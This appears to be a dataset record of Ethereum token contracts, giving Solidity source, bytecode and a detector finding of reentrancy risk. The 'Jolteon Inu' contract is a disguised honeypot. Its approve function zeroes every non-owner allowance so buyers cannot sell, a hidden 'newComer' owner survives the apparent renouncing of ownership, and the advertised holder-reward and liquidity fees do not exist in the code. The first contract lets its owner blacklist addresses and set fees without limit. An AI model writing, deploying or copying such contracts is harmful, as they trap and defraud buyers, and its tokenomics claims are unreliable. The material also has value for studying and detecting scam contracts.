if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260098152685374696d7079496e7560b81b60208201525b6040516102399190611a23565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a78565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa4565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b610719565b34801561036d57600080fd5b506101fc61037c366004611b12565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b12565b6108bc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600481526353494e5560e01b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026261050a366004611a78565b610971565b34801561051b57600080fd5b5061026261052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c161058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082eed5fcbab048f35dbf562017cf94c8a91beaa2db1603bcd1b1c9df4df9324964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,716
0x0a2fcfd1a7336e89d03d1ed5a96acdbdb9659a64
/** *Submitted for verification at Etherscan.io on 2021-10-13 */ /* Jolteon Inu ■ ERC-20 GEM Jolteon Inu - known as the most cutest and strongest Pokémon Dog you will ever see on the ETH network. 📌Tokenomics: 2% - Reward for holders 3% - Goes to liquidity pool 5% - Marketing & development funds 0.5% Max tx at launch 2% Max wallet */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract JolteonInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100* 10**12 * 10**18; string private _name = ' Jolteon Inu '; string private _symbol = 'JINU '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ff